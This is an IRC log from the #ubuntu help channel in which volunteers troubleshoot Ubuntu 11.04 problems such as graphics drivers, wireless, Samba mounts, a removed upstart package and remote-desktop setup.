[14:59] <ajaytripi> nerdshell: yes both my systems are 32- bit and so is the cd
[14:59] <quibbler> after a fresh install of 11.04, i installed vlc,pigin, xchat ,thunderbird,skype, however from the start I had no sound
[15:00] <Vessago> anyone keen to help me with squid3 config... please !
[15:00] <alienkid10> says it mounted on  various lines
[15:00] <Incarus6> I g2g, hope that helped you, Eduard
[15:00] <pfifo> welloonger, what if you have 32GB of memory?
[15:00] <alienkid10> I think this file has some really old boots in it though
[15:00] <Eduard> Incarus6: helped a bit... thanks
[15:00] <Guest21274> Stereocaulon: I bought a wireless 3G usb thing. With PCLOS I can just plug it in and I have net. But with Ubuntu is always tells me I need a password. The provider says there is no password.
[15:00] <alienkid10> step21: says it mounted on  various lines
[15:00] <Incarus6> quibbler, unmute the sound
[15:01] <welloonger> ****has joined #ubuntu *****has queit....
[15:01] <quibbler> it is unmuted
[15:01] <Vessago> squid help please anyone.....
[15:01] <nerdshell> (appears that this Natty creats a lot of havoc)
[15:01] <MustardCU> with what?
[15:01] <terry> idefix: see my PM
[15:01] <ajaytripi> nerdshell: any ideas???
[15:01] <Eduard> How do i downgrade 11.04 to X.Org xserver 1.9
[15:01] <welloonger> squid is a good thing..
[15:01] <Stereocaulon_> Guest21274, what if you just leave the pasword field empty?
[15:01] <nerdshell> ajaytripi: I don't see what you could do but burning a new OSI...
[15:01] <Vessago> yes but need help wilth this config http://pastebin.com/Z8TaGubD
[15:02] <nerdshell> ajaytripi: sorry
[15:02] <step21> alienkid10, but no errors with regard to it?
[15:02] <ajaytripi> nerdshell: ok.. I think I should try
[15:02] <Vessago> somehow ive got something wrong and it refusing connections
[15:02] <Guest21274> it continues to demand a password. I've tried all sort of numbers from my contract, even my own password. Nothing works and I can find no setting that says "no password"
[15:02] <step21> alienkid10, anything 'not found' or 'couldn't access'?
[15:02] <Vessago> just cant seem to figure out what.
[15:02] <alaing> newbie question any good easy editors that would allow me to open view an apache log file from a ssh client command line?
[15:02] <Incarus6> Eduard, I advise you against doing that
[15:02] <Stereocaulon_> quibble, I have sound, but I did notice that the default sound level in Natty was quite low, you can change it from the Volume indicator
[15:02] <isarl> alaing: try nano?
[15:03] <isarl> alaing: personally, I like vim ;)
[15:03] <Stereocaulon_> isarl, me too
[15:03] <alienkid10> step21:  no just mounted with order data mode barriars not enabled and using internal journal
[15:03] <Guest21274> Stereocaulon: it continues to demand a password. I've tried all sort of numbers from my contract, even my own password. Nothing works and I can find no setting that says "no password"
[15:03] <step21> alienkid10, any other errors?
[15:03] <pfifo> Guest21274, iwconf is far superior to network-manager and if you maste it youll know exactly whats going on ;)
[15:03] <pfifo> Guest21274, `iwconfig`
[15:04] <pepie34> Hi, I've updated from maverick two computers, only on one PC I've got a problem with ubuntu classic desktop: I can not anymore rearrange task in the taskbar, nor drag and drop file to a task in the task bar. Any idea ?
[15:04] <step21> isarl, could you check if it missed to install any nouveau/dri/glx packages?
[15:04] <alienkid10> step21: any text I should search for specifically?
[15:04] <Guest21274> pfifo: can I get this from synaptic?
[15:04] <isarl> step21: sure - which package names am I looking for?
[15:04] <someone235> hi, dya familiar with an application that i can test with the "test drive". I'm curious about this feature
[15:04] <krad> now that i did chroot .. how can I check why the box wasn't booting .. someone apparently installed upstart and removed it .. broke things
[15:04] <step21> alienkid10, anything that looks like an error or 'no such file, no access, etc.
[15:04] <alienkid10> step21: nothing I can see besides that one from before about  Apr 29 17:46:28 adam-Ubuntu 83haiku: debug: Stage 1 bootloader not found: exiting
[15:04] <alaing> thanks isarl
[15:04] <gwallace42> Quick Question, how do I add apps to the upper panel on 11.04
[15:04] <pfifo> Guest21274, you already have it, its network-managers back end, check `man iwconfig` for usage, expect todo some reading/learning
[15:05] <Jeruvy> if an upgrade fails, where do you look for the error logs?
[15:05] <Guest21274> pfifo: ok, thanks
[15:05] <terry> pfifo: I've replaced network-manager with wicd and like it better.  It is simplier / easier to use.
[15:05] <Stereocaulon_> Jeruvy, try /var/log/dist-upgrade/apt.log and main.log
[15:05] <Vessago> anyone checking my squidconf ....?
[15:05] <alienkid10> step: http://pastebin.com/sC4FzuRc
[15:05] <Jeruvy> Stereocaulon_: thanks.
[15:05] <XZargX> Is anyone successfully using the Asus p8p67 MB (the basic board not pro or deluxe)  with Natty. Thinking of buying one...
[15:06] <Vessago> http://pastebin.com/Z8TaGubD
[15:06] <pmitros> I just installed Ubuntu 11.04. Virtually everything broke. Wireless network no longer works. Wired network no longer works. Windows randomly turn white. Visual effects take forever. I've been running Debian+Ubuntu for close to 15 years now, and have never run into a release this buggy. Do any of you know if there are good documents anywhere on everything broken in 11.04, and how to fix it?
[15:06] <step21> alienkid10, can you past me some lines before the'bootloader not found'
[15:06] <Osmodivs> Hello. How can I download the new Ubuntu 11.04 ISO via wget? I type wget -c http://www.ubuntu.com/download/ubuntu/download But it only downloads the wbpage, not the ISO, and I want the 64bit ISO
[15:06] <pfifo> XZargX, I was helping a guy last night that just installed to that board
[15:06] <alienkid10> step21: http://pastebin.com/sC4FzuRc nothing about no access
[15:07] <Vessago> http://pastebin.com/Z8TaGubD < --- awainting help pls
[15:07] <alienkid10> step21: and those are the only instenses of file not found
[15:07] <pfifo> XZargX, actually he had 2 of them working so thats a pretty good sign
[15:07] <step21> alienkid10, mmh okay. well I can only offer to look at the whole logs, otherwise I am out of ideas atm
[15:07] <gumus> hi all
[15:08] <XZargX> pfifo - good news. It sounded like it should but some posts I read hinted at network LAN issues
[15:08] <Stereocaulon_> Vessago, why don't you try the #squid channel? 51 logged in right now
[15:08] <Barridus> umm, can compiz/compositing be turned off in unity?
[15:08] <gumus> i'm having trouble while trying to mount to software database
[15:08] <gumus> can anybody help with that?
[15:08] <alienkid10> step21: want me to try to boot to Ubuntu now so I know when the boot process actually starts?
[15:08] <quibbler> Dr_Willis-> i installed the Gnome Alsa Mixer and played around with that and it solved the problem. Thank you for the tip
[15:09] <jrib> Flynsarmy: what command are you executing exactly?
[15:09] <step21> isarl, is lbdrm-nouveau1a installed?
[15:09] <pfifo> XZargX, he mentioned slow package downloads from the repo but i dismissed it due to high usage of the repos after releases
[15:09] <jkgeyti> Hi. I cannot seem to be able to configure my HP trackpoint (touchstyk?) in 11.04. Changing mouse speed doesn't affect it, and I cannot seem to configure it correctly in my xorg settings. Any ideas?
[15:09] <Vessago> Stereocaulon i have no response from any of those 50 odd guys
[15:09] <step21> alienkid10, sure, can't hurt :)
[15:09] <Abhijit> hi
[15:09] <alienkid10> ok
[15:09] <gumus> i used to mount -t cifs -o user= etc. etc.
[15:09] <alienkid10> brb
[15:09] <isarl> step21: there are several "nvidia-glx-(stuff)" packages not installed. libdrm-nouveau1a is installed.
[15:09] <ForceDestroyer> Does anyone here know whether I can "disable Compiz desktop effects" in ubuntu, and what that means?
[15:09] <gumus> it says
[15:09] <gumus> mount: wrong fs type, bad option, bad superblock on
[15:09] <Abhijit> what is the size of the lamp package? i can not do it by apt-cache policy. help?
[15:09] <Stereocaulon_> Vessago, just wait a while ,keep yourself logged in
[15:09] <XZargX> pfifo - thanks for the info
[15:10] <Vessago> coolies will do thanks.
[15:10] <gumus> mount: wrong fs type, bad option, bad superblock on //yazilim.cc.itu.edu.tr/yazilim,
[15:10] <gumus>        missing codepage or helper program, or other error
[15:10] <gumus>        (for several filesystems (e.g. nfs, cifs) you might     need a /sbin/mount.<type> helper program)
[15:10] <gumus>        In some cases useful info is found in syslog - try
[15:10] <gumus>        dmesg | tail  or so
[15:10] <FloodBot3> gumus: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[15:10] <gumus> ok. sorry
[15:10] <krad> someone installed upstart and removed it .. the system hangs at booting .. is there a way to revert things to before upstart was installed?
[15:10] <step21> isarl, no, those are bad ...
[15:10] <Flynsarmy> jrib: I've done a bit of research/debugging. I'm currently using sudo mount -t cifs //10.0.0.20/C /media/desktop/c -o Guest,rw,nounix,iocharset=utf8,file_mode=0777,dir_mode=0777 user guest never worked but Guest makes it as far as asking for a password. Also on the windows machine I set it to 'People without a user account and password for this computer can access folder shared with everyone'
[15:10] <Barridus> i guess nobody knows how to disable compiz/compositing in natty?
[15:10] <Guest21274> pfifo: I just checked out iwconfig. Honestly, I don't have the time or inclination for reading and studying such. It would be easier to just do a simple reinstall. But here's the thing: one Ubuntu I can get my printer working easily where on PCLOS I cannot. On PCLOS I can get my #G working easily where on Ubuntu I cannot. I really don't have time to sit down and study.
[15:11] <terry> krad: upstart is installed by default
[15:11] <step21> isarl, is xserver-xorg-video-nv still installed? if yes, try to remove
[15:11] <terry> !upstart | krad
[15:11] <ubottu> krad: Upstart is meant to replace the old Sys V Init system with an event-driven init model.  For more information please see: http://upstart.ubuntu.com/
[15:11] <Dr_Willis> Barridus:  ive seen applets and commands to do it.. but never needed to.
[15:11] <aLky> is it just me or this unity is horrible? :)
[15:11] <Abhijit> help. for downloading reasoni need to know the size of hte apache2 package. how should i?
[15:11] <glda19> HOW used pam
[15:11] <Dr_Willis> aLky:  its a work in progress.
[15:11] <isarl> step21: it is.  Reboot after remove?
[15:11] <jw_> I have a quick but irgent question I'm doing a fresh install and got an error while installing GRUB its asking for where to install it? I have 4 options one of them being my windows 7 partition, any ideas???
[15:11] <ForceDestroyer> Barridus: apparently I would also like to disable compiz, although I don't even know what it is. Someone told me this might be a workaround for certain windows disappearing
[15:11] <jw_> 11.04
[15:12] <step21> isarl, yes, or restart x, but restart is prob easier
[15:12] <Dr_Willis> jw_ the mbr of the disk you plan on booting. ie: sda  if you only have 1 hd.
[15:12] <jkgeyti> ForceDestroyer, Barnabas: unity relies on compiz, so I doubt there's a way to do it. You could replace it by replaceing unity with gnome.
[15:12] <Barridus> ForceDestroyer, compiz is the nifty graphics effects
[15:12] <terry> krad: Are you saying upstart by mistake? (Typo maybe?)
[15:12] <jkgeyti> disable it*
[15:12] <Stereocaulon_> brb
[15:12] <linux_> brb
[15:12] <pfifo> Guest21274, terry offered up wicd, maybe thats worth a shot, ive never used it though
[15:12] <Barridus> i see a package called unity-2d, which appears to be an alternate unity without acceleration
[15:12] <krad> sorry?
[15:13] <Dr_Willis> Barridus:  thats correct. I use unity2d on some of my machines
[15:13] <jw_> DR_Willis: I have a RAID and I'm just not sure which partition to install it to? Linux device mapper, Windows 7 or RAIDp6 or RAIDp7
[15:13] <alienkid10> step21: I need to go
[15:13] <terry> krad: Did you un-install upstart?
[15:13] <Dr_Willis> unity2d does not use compiz. I think it also uses the QT libs. (not sure where i read that at)
[15:13] <krad> terry, yes
[15:13] <Dr_Willis> jw_:  no idea on raid.
[15:13] <step21> alienkid10, sure. sorry that it didn't work so far
[15:13] <alienkid10> step21: I'll PM you my email address email me
[15:13] <step21> alienkid10, not sure if I can helpt but sure
[15:14] <al_cell> Whats the difference betn unity2d and classic gnome?
[15:14] <krad> terry, how can i test if the booting sequence is ok?
[15:14] <superlinux> hi. to all arabs in this channel, a lesson IN ARABIC will be given after 2 hours from now on this FREENODE server @ channel #linuxac . lesson will be in using and configuring the /etc/fstab file and the mount command and basic formatting of disks, NO RAID NO LVM is going to be discussed. thanks.
[15:14] <terry> krad: Oh, I see.  ... hummm not sure what to do now..  Where does it hang on bootup?  Where are you at now?
[15:14] <aLky> Dr_Willis, i know, but I its just not me (i dont like macos). Do you know when can we expect an ubuntu version that comes with gnome3?
[15:14] <isarl> step21: remember that kernel panic from earlier..?
[15:14] <krad> terry, i managed to boot: "The rescue mode installs a temporary Slackware distro on a separate partition, gives it your IP,and then mounts your main disk to make it available:"
[15:14] <terry> krad: If you can... just re-install it.
[15:15] <Dr_Willis> aLky:  no idea. Perhaps never by default..
[15:15] <krad> terry, is there a boot log somewhere in ubuntu?
[15:15] <step21> isarl, argh. okay ...
[15:15] <krad> just wana see where it hangs
[15:15] <superlinux> repeat:
[15:15] <superlinux> hi. to all arabs in this channel, a lesson IN ARABIC will be given after 2 hours from now on this FREENODE server @ channel #linuxac . lesson will be in using and configuring the /etc/fstab file and the mount command and basic formatting of disks, NO RAID NO LVM is going to be discussed. thanks.
[15:15] <isarl> step21: to be clear, this kernel panic happened during startup after the reboot.  second reboot underway now.
[15:15] <aLky> Dr_Willis, why do you think so? Are they planning to move to unity and leave gnome?
[15:15] <superlinux> ok thanks bye
[15:15] <bazhang> superlinux, dont advertise here
[15:15] <isarl> step21: and seems to have disappeared.
[15:15] <lcb> superlinux, we saw that already, thanks
[15:15] <terry> krad: So you booted from a Slackware CD?  Is that what you are saying?
[15:15] <pfifo> krad, if you dont want to reinstall you can chroot into the install and add upstart back
[15:15] <step21> lol
[15:16] <isarl> step21: transient behaviour, perhaps.  :D
[15:16] <krad> i chrooted into the install
[15:16] <Dr_Willis> aLky:  the blog/discussions  basically they will stick with Unity for the time being. unity does run on top of gnome. Its an alternative shell to the gnome3 shell.
[15:16] <raven_> how to set EXIF-Date and time from filename?
[15:16] <terry> krad: Yea, as pfifo says, just re-install upstart.  sudo apt-get install upstart
[15:16] <isarl> step21: Okay, at my desktop again.  Once again, no compositing.  Want a fresh Xorg.0.log?
[15:16] <kkal> Dr_Willis: as a form of punishment for something?
[15:16] <cousin_mario> natty is so much fail
[15:16] <pfifo> sudo in a chroot
[15:17] <Dr_Willis> raven_:  theres exif tools in the repos. you may nbeed to write a script  for the task.
[15:17] <terry> pfifo: well, just apt-get install upstart
[15:17] <d1gital> has there even been such complaining about an Ubuntu release?
[15:17] <kkal> unity.launcher forgets that it has running instances of google-chrome and launches new ones every time.
[15:17] <maddie> I've been looking for an answer for two days now and have come up with nothing. Essentially the launcher icons revert to default upon every damn login even when I uncheck them or check new ones!
[15:17] <Abhijit> help. for downloading reasoni need to know the size of hte apache2 package. how should i?
[15:17] <Dr_Willis> !info apache2
[15:17] <ubottu> apache2 (source: apache2): Apache HTTP Server metapackage. In component main, is optional. Version 2.2.17-1ubuntu1 (natty), package size 1 kB, installed size 36 kB
[15:17] <krad> terry, upstart wasnt there .. and the system was booting until it was installed
[15:17] <pfifo> krad, tack on a `dpkg-reconfigure upstart` once your nstall upstart just to be safe
[15:18] <krad> until it was installed/uninstalled
[15:18] <maddie> Does anyone understand what could be wrong?
[15:18] <Dr_Willis> Abhijit:  its a meta package. so it will be the size of whatever it needs to pull in. which will depend on what you allready have installed.
[15:18] <terry> pfifo:  what did you have installed in the first place?  What distro, what version?
[15:18] <isarl> step21: Interesting.  Xorg.0.log says at one point, "Matched nvidia as autoconfigured driver 0"
[15:18] <aLky> Dr_Willis, yeah I know that. Unity is more suitable for netbooks with small screens. I hope they still keep supporting the gnome3 shell too.
[15:18] <pfifo> krad, what version of ubuntu are you using?
[15:18] <Abhijit> Dr_Willis, can i get its .deb anywhere?
[15:18] <isarl> step21: before proceeding to nouveau, nv, vesa, and fbdev, in that order.
[15:18] <step21> isarl, mmh, sorry, but not sure what to try now either and I should get going
[15:18] <terry> krad:  what did you have installed in the first place?  What distro, what version?
[15:18] <krad> pfifo, terry, http://pastebin.com/pc6qrj5h
[15:18] <step21> isarl, it did that before as well
[15:19] <Dr_Willis> Abhijit:  the .deb would be pointless. all the deb does is 'depend' on other packages.. you would need all the packagves it depends on as well. or else you download them when you install the deb.
[15:19] <isarl> step21: Alright; thank you very much for all your help. =)
[15:19] <maddie> I've been looking for an answer for two days now and have come up with nothing. Essentially the launcher icons revert to default upon every damn login even when I uncheck them or check new ones! Does anyone have an Idea?
[15:19] <Abhijit> Dr_Willis, ok
[15:19] <step21> d1gital, there is always complaining :)
[15:19] <pfifo> krad, thats not a fail condition, your still ok
[15:19] <raven_> Dr_Willis, which exif tool for example?
[15:19] <Abhijit> Dr_Willis, i have lamp installed in my this system. is there any way i can copy paste this apache2 server to friends laptop? only apache server that is
[15:20] <krad> how can i know which version of ubuntu i'm running.  uname -a doesnt give it
[15:20] <step21> maddie, are you using the livecd?
[15:20] <Abhijit> Dr_Willis, friend also have ubuntu
[15:20] <ph88> how do i setup my connectiong to connect through a proxy server ?
[15:20] <iceroot> krad: cat /etc/issue
[15:20] <maddie> step 21, nope
[15:20] <krad> 9.04
[15:20] <Dr_Willis> raven_:  apt-cache search exif      theres several of them i recall seeing. I rarely use them
[15:20] <Dr_Willis> !aptoncd | Abhijit
[15:20] <ubottu> Abhijit: APTonCD is a tool with a graphical interface which allows you to create one or more CDs or DVDs with all of the packages you've downloaded via apt-get or aptitude, creating a removable repository that you can use on other computers - See also !offline
[15:20] <raven_> Dr_Willis, ok tnx
[15:20] <Stereocaulon_> krad, whoa, that's ancient
[15:20] <terry> krad: dpkg -i upstart
[15:20] <maddie> step 21, I used the update manager
[15:21] <krad> Errors were encountered while processing:
[15:21] <krad>  upstart
[15:21] <Dr_Willis> Abhijit:  if you are on the same lan. You can set up an apt-cacher-ng server to cach all the packagfes for the whole lan. and save download time/ussage
[15:21] <iceroot> terry: what should that command do?
[15:21] <step21> maddie, good luck, but no idea then
[15:21] <Dr_Willis> !9.04
[15:21] <ubottu> Ubuntu 9.04 (Jaunty Jackalope) was the tenth release of Ubuntu. End Of Life: October 23, 2010. See !eol and !upgrade for more details.
[15:21] <tsanko> hI
[15:21] <terry> iceroot: install upstart
[15:21] <oneliner> hello there, graphical interface completely haywire in 11.04 on my machine, id like to try and force default options to see if its a compiz thing before looking at graphics drivers
[15:21] <tsanko> eVERY ONE
[15:21] <iceroot> terry: not really
[15:21] <krad> root@vps:/# dpkg -i upstart, dpkg: error processing upstart (--install): cannot access archive: No such file or directory, Errors were encountered while processing: upstart
[15:21] <Abhijit> Dr_Willis, but sadly i have now cleaned the apt cache. so i dont have those packages. so aptoncd is not helpful. any other way?
[15:22] <Dr_Willis> Abhijit:  download them again. if they are gone.. they are gone.
[15:22] <iceroot> terry: dpkg -i wants local deb-files
[15:22] <ph88> how can i make a connection through a proxy server ?
[15:22] <Gnea> !ppa
[15:22] <ubottu> A Personal Package Archive (PPA) can provide alternate software not normally available in the offical Ubuntu repositories - Looking for a PPA? See https://launchpad.net/ubuntu/+ppas - WARNING: PPAs are unsupported third-party packages, and you use them at your own risk.
[15:22] <Abhijit> Dr_Willis, ok
[15:22] <iceroot> terry: maybe you mean "sudo apt-get install packagename"
[15:22] <terry> iceroot: O
[15:22] <maddie> step21, okay, do you know of any helpful resources other than askubuntu, this irc, /r/linuxquestions, asklinux, ubuntu forums, and the ubuntu launchpad?
[15:22] <Stereocaulon_> krad, what kind of processor and how much mem do you have do you have in that box running 9.04?
[15:23] <iceroot> ph88: on what? your browser? the shell?
[15:23] <ph88> i have ubuntu 11.04 i would like to use a proxy to redirect all traffic of a certain network interface
[15:23] <brian_> pfifo: wicd worked. Thanks.
[15:24] <Dr_Willis> ph88:  clarify that. Im not sure a proxy does that sort of task..
[15:24] <brian_> Terry: Wicd worked, thanks
[15:24] <pfifo> brian_, that was all terry
[15:24] <jrib> Flynsarmy: so it works now?
[15:24] <brian_> pfifo: I'm glad you pointed his advice out. I cannot keep up with the traffic here. :)
[15:24] <Tuplad> How can I get "glx" support ? I'm trying to install unity, but with no success. nvidia drivers just won't work.
[15:24] <tsanko> This chat room is for help
[15:25] <tsanko> ?
[15:25] <pfifo> !yay | brian_
[15:25] <ubottu> brian_: Glad you made it! :-)
[15:25] <Flynsarmy> jrib: no. i can get as far as it asking me for a password now. but still says permission denied when i just press enter without typing anything
[15:25] <ph88> i want to use my nokia n900 as modem, but i can't get it to connect, the vodafone information page says i need to use a proxy, but i don't know where to enter this information
[15:25] <iceroot> tsanko: correct
[15:25] <iandi> Hello! I'm having problems installing ubuntu 11.04 from usb, this has worked flawlessly with the previous releases. All i get is busybox i cant get into the install shell
[15:25] <terry> brian_: np
[15:25] <tsanko> ohhh i think it was for chating
[15:25] <Dr_Willis> Tuplad:  whats your video chipset?
[15:26] <Tuplad> Dr_Willis: Geforce GT540M
[15:26] <pfifo> iandi, tru using a different USB port
[15:26] <santi> Hello! I'd like to add my IPv6 Tunnel from HE with this command: "ifconfig sit0 inet6 tunnel ::216.66.84.46", and I get as answer only: "SIOCSIFDSTADDR: Kein Hauptspeicher für den Puffer verfügbar"
[15:26] <jrib> Flynsarmy: should be your sudo password, no?
[15:26] <lopyshok> hi people help me. i open exe file,it's open but i ca't see him... he is behind work table...aaaa ;)
[15:26] <lcb> ph88, http://goo.gl/X1dxK
[15:26] <Dr_Willis> http://askubuntu.com/questions/38449/unity-desktop-does-not-load-it-switches-to-classic-mode
[15:26] <Dr_Willis> Tuplad:  the drivers from the repos dont work? You could try the answers given here --> ^^^
[15:26] <iandi> pfifo: will do, ill get back to you
[15:26] <brian_> ubottu: me too! It saves me from reinstalling and having to figure out the whole rpm thing. :D
[15:26] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[15:27] <oneliner> i have the weirdest errors on the graphicall interface; although i have two 21" lcds coupled to a decent nvidia card, all and any program windows open at 800X600 , snapped to the upper left corner, unmovable, unresizable
[15:27] <marcelC> http://pastebin.com/0DH2Ed3L
[15:27] <ph88> i will have a look lcb
[15:27] <Tuplad> Dr_Willis: I don't think they work, because I can't access nvidia settings and I can't install unity.
[15:27] <lopyshok> hi people help me. i open exe file,it's open but i ca't see him... he is behind work table...aaaa ;)
[15:27] <oneliner> and there s no sidebar icons thingy
[15:27] <lcb> ph88, that's a pretty explanatory tuto
[15:27] <Dr_Willis> Tuplad:  you are upgradeing? or what exactly? theres Unity-2d you could use I guess
[15:28] <Tuplad> Dr_Willis: fresh install, I want Unity-3d, not 2d :D
[15:28] <Flynsarmy> jrib: ahh yes you're correct. still getting error(13) permission denied though
[15:28] <Dr_Willis> oneliner:  unity seem to have some issues with multi monitor support. sounds like its just crashing on you
[15:28] <maddie>  I've been looking for an answer for two days now and have come up with nothing. Essentially the launcher icons revert to default upon every damn login even when I uncheck them or check new ones! Does anyone have an Idea?
[15:28] <trihope> KM0201: how are you doing this morning?
[15:28] <ph88> lcb i don't want to setup a proxy server, i want to connect to a proxy server provided by my internet provider
[15:28] <Dr_Willis> Tuplad:  unity is installed by default.. and it needs the 3d drivers..
[15:28] <aLky> guys do you know of software (like logmein, teamviewer, easypcgate) to login remotely to an ubuntu machine (without real ip)?
[15:28] <marcelC> I have some upgrade problems, anyone get some ideea? http://pastebin.com/0DH2Ed3L
[15:29] <isarl> Hi all; I seem to be having some troubles with nouveau.  Any help?
[15:29] <Dr_Willis> aLky:  teamviewer exists for ubuntu/linux
[15:29] <Tuplad> Dr_Willis: exactly, everything is installed, but it doesn't work. GLX doesn't seem to work and I can't make it work :(
[15:29] <oneliner> Dr_Willis: should i use a non unity launcher or should i offer myself as guinea pig for the dev teams? :)
[15:29] <jester40> Hello to everyone
[15:29] <terry> maddie: Can you rephrase  your question?
[15:29] <aLky> Dr_Willis, didnt know that. Thank you very much
[15:29] <Dr_Willis> oneliner:  personally - im testing out Lubuntu  for the time being.
[15:29] <lopyshok> hi people help me. i open exe file,it's open but i can't see him... he is behind work table...aaaa ;) on the panel ( where start<he is)
[15:29] <Vessago> http://pastebin.com/Z8TaGubD
[15:30] <cousin_mario> marcelC: why are you using backports in the first place?
[15:30] <Dr_Willis> lopyshok:  try alt-tab to see if it pops up?
[15:30] <jester40> Can anybody help me setup my wireless card
[15:30] <Mahjongg> hi, apply button in synaptic does not become active after marking the items under residual config as complete removal
[15:30] <cousin_mario> it sounds like a recipe for trouble
[15:30] <Dr_Willis> BBL
[15:30] <Barridus> is gwibber nonfunctional?  i can't get any tweets
[15:30] <enrylinux> problema iso ubuntu 11.04
[15:30] <marcelC> cousin_mario, for some other packeges I got installed related to apache, sql.mysql,wordpress etc
[15:31] <lcb> info connect-proxy  | ph88
[15:31] <cousin_mario> marcelC: I would disable those repositories during the upgrade process
[15:31] <lcb> !info connect-proxy  | ph88
[15:31] <ubottu> ph88: connect-proxy (source: connect-proxy): Establish TCP connection using SOCKS4/5 or HTTP tunnel. In component universe, is optional. Version 1.101-1 (natty), package size 20 kB, installed size 84 kB
[15:31] <marcelC> oky
[15:31] <lopyshok> Dr_willis can't ;(
[15:31] <lopyshok> =('
[15:31] <ph88> ok thx
[15:31] <oneliner> ok so i need to create a couple of launchers on the desktop, if any one could give me a hand with the actual command for launching a new terminal window and compiz configurator id apreciate
[15:31] <lopyshok> hi people help me. i open exe file,it's open but i can't see him... he is behind work table...aaaa ;) on the panel ( where start<he is) HElp me ;)
[15:31] <eltigre> I am having trouble with the unity interface... before upgrading I was able to use the Empathy chat client
[15:31] <Tuplad> Anyone knows how to activate GLX ? Can't seem to get it right, Unity etc. doesn't work.
[15:32] <pfifo> oneliner, the first is `/usr/bin/gnome-terminal`
[15:32] <eltigre> now my accounts don't connect and I can't find any way to change my accounts
[15:32] <maddie> terry hmm well... maybe that's part of my problem. okay, on a fresh install of 11.04 unity there are default icons (these inclide libreoffice, ubuntu one, etc) When I try to modify these, as in remove them form the launcher or add new ones to the launcher, all is well until I log back in - the same default sequence is there (libreoffice, ubuntu one)
[15:32] <terry> oneliner: I usually just set F12 as hotkey for terminal.
[15:32] <eltigre> Also, how am I supposed to find settings in unity anyway??
[15:32] <maddie> terry sorry for grammar mistakes it's early
[15:32] <lcb> eltigre, sudo dpkg-reconfigure empathy
[15:32] <pfifo> eltigre, its in the power menu, top right
[15:32] <oneliner> pfifo thanks terry thats actually a good idea
[15:33] <eltigre> ah ok sorry
[15:33] <Barridus> eltigre, click on the "shut down" icon in the upper right, system settings is in there now for some reason
[15:33] <Barridus> (not a trick i promise XD)
[15:33] <raven_> FileDates to EXIF: need to write exif dates by using the last-modified-date - how?
[15:33] <eltigre> yes
[15:33] <eltigre> thank you
[15:34] <eltigre> at the moment the interface freaks me out because all the panels are missing
[15:34] <glda19> how used pam pkcs11
[15:34] <Linuxfav> upon installing drivers for my graphics card....i can not boot into unity ...nor into ubuntu clssic session....can anybody help?
[15:34] <jrib> Flynsarmy: what happens with lowercase "guest"?
[15:34] <Flynsarmy> jrib: same thing. error 13 - permission denied
[15:35] <jrib> Flynsarmy: can you access the share elsewhere?  Like from another windows machine?
[15:35] <terry> Linuxfav: What screen do you have now?
[15:35] <lopyshok> i can't see exe file what is possiable
[15:35] <lopyshok> ?
[15:35] <Linuxfav> terry:Ubuntu classic(no effect)
[15:36] <tjiggi_fo> !ru | lopyshok
[15:36] <ubottu> lopyshok: Пожалуйста посетите #ubuntu-ru для получения помощи на русском языке  / Pozhalujsta posetite /join #ubuntu-ru dlya polucheniya pomoshi na russkom yazyke
[15:36] <docmur> Is there any application to convert videos for the ipod
[15:36] <terry> Linuxfav: what display card do you have?
[15:36] <Rockj> Anyone uses Deja Dup? does it require a lot of tmp storage?
[15:36] <terry> docmur: From __________  to ___________?    From .mov to .avi or....? what?
[15:36] <emj> how do I get a  VNC connection to my fathers ubuntu desktop? I need to help him install som programs for internet Tax filing...
[15:37] <pfifo> !ffmpeg | docmur
[15:37] <some_dude1234> hi all
[15:37] <pfifo> !info ffmpeg | docmur
[15:37] <ubottu> docmur: ffmpeg (source: libav): Multimedia player, server, encoder and transcoder. In component main, is optional. Version 4:0.6.2-1ubuntu1 (natty), package size 239 kB, installed size 1040 kB
[15:37] <Linuxfav> terry:I have done the unity support test and it says unity is supported.....my graphics card is>>>02:00.0 VGA compatible controller: nVidia Corporation G72 [GeForce 7300 SE/7200 GS] (rev a1)
[15:37] <terry> emj: install x11vnc on his PC and use vncviewer on yours.  (Install tightvnc on yours.)
[15:37] <raven_> FileDates to EXIF: need to write exif dates by using the last-modified-date - how?
[15:37] <Antilect> :)
[15:37] <emj> terry: no default ubuntu remoet support app?
[15:37] <Gnea> !vbox
[15:37] <ubottu> virtualbox is a x86 !virtualizer. A !free edition is available from the package 'virtualbox-ose'. A non-free edition is available at http://virtualbox.org for most Ubuntu releases (help in #vbox) - Setup details at https://help.ubuntu.com/community/VirtualBox
[15:37] <Rockj> emj: requires you to open the port on his router, or you running a lisntning daemon which he can invite.
[15:38] <terry> emj: They are both Ubuntu?
[15:38] <enrylinux> 11:04 iso installation problem stops, but nothing I tried different iso pc works perfectly I also made ​​a test with an old iso of ubuntu 9.10 and that works perfectly
[15:38] <emj> terry: sure
[15:38] <ranger03> i am getting the idea that unity cannot be customized at all. I really need my 8 virtual windows..not 4...can i change it back to 8 ?
[15:38] <terry> emj: Ok. Rocky can prolly help you.
[15:38] <Rockj> emj: I normally use Teamviewer ( www.teamviewer.com ) , free for personal use and always works thru firewalls etc and works towards all OS.
[15:38] <Rockj> emj: but if your looking for a permanent solution, opening port and fix vnc would be better.
[15:38] <emj> Rockj: Firewall is no problem they are all Linux soo.. :-)
[15:38] <cousin_mario> bye
[15:39] <some_dude1234> I just upgraded from ubuntu 10.10 to 11.04 and surprise surprise, the most important thing stopped working (wireless). I have an Intellinet USB Adapter for the wlan. It worked fine in 10.10 and also here in 11.04. Networkmanager does show me the ESSID's around but I cannot connect to my WPA/PSK encrypted accesspoint. Any hints or further information needed, I would appreciate your help. Thank you
[15:39] <terry> Linuxfav: And you have installed Nvidia driver on it?
[15:39] <emj> Rockj: but I'll accept that solution.
[15:39] <Vessago> http://pastebin.com/Z8TaGubD
[15:39] <ph88> but this is cute :) http://www.betavine.net/bvportal/resources/datacards/netbooks/eeepc
[15:39] <siebo> I'm getting an error when trying to install openssl in karmic
[15:39] <siebo> Failed to fetch http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_0.9.8g-16ubuntu3.1_amd64.deb  404  Not Found [IP: 91.189.92.166 80]
[15:39] <Flynsarmy> jrib: hmm. can't access from XP. guess it's on the Win7 side. will look further into it i guess. Thanks for the help
[15:39] <emj> Rockj: wish there was a GUI for it though.. :-)
[15:40] <Linuxfav> <terry>yes the propietary driver
[15:40] <Rockj> emj: for vlc? there is plenty ..
[15:40] <bulk12> !female
[15:40] <bulk12> !male
[15:40] <bulk12> !hooker
